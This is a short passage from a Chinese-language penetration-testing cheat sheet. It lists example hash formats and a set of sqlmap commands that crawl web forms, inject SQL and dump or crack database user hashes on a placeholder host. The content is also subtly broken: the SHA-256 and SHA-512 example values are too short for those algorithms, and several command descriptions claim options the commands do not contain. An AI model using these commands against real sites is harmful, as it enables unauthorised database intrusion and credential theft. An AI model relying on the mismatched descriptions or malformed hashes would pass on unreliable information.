SHA-256 $PASS:$SALT | c73d08de890479518ed60cf670d17faa26a4a7 |
SHA-256 $SALT:$PASS | eb368a2dfd38b405f014118c7d9747fcc97f4 |
SHA-512 | 82a9dda829eb7f8ffe9fbe49e45d47d2dad9 |
SHA-512 $PASS:$SALT | e5c3ede3e49fb86592fb03f471c35ba13e8 |
SHA-512 $SALT:$PASS | 976b451818634a1e2acba682da3fd6ef |
NTLM 哈希示例 | b4b9b02e6f09a9bd760f388b67351e2b |
SQLMap 示例
一个迷你 SQLMap 备忘单:
命令 | 描述 |
---|---|
sqlmap -u http://meh.com --forms --batch --crawl=10 | 自动sqlmap扫描 |
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE | 有针对性的 sqlmap 扫描 |
sqlmap -u "http://meh.com/meh.php?id=1" | 使用 mysql 后端扫描 url 以获取联合 + 基于错误的注入, 并使用随机用户代理 + 数据库转储 |
sqlmap -o -u "http://meh.com/form/" --forms | 注入的sqlmap检查表 |
sqlmap -o -u "http://meh/vuln-form" --forms | sqlmap 转储和破解数据库名称上表用户的哈希值。 |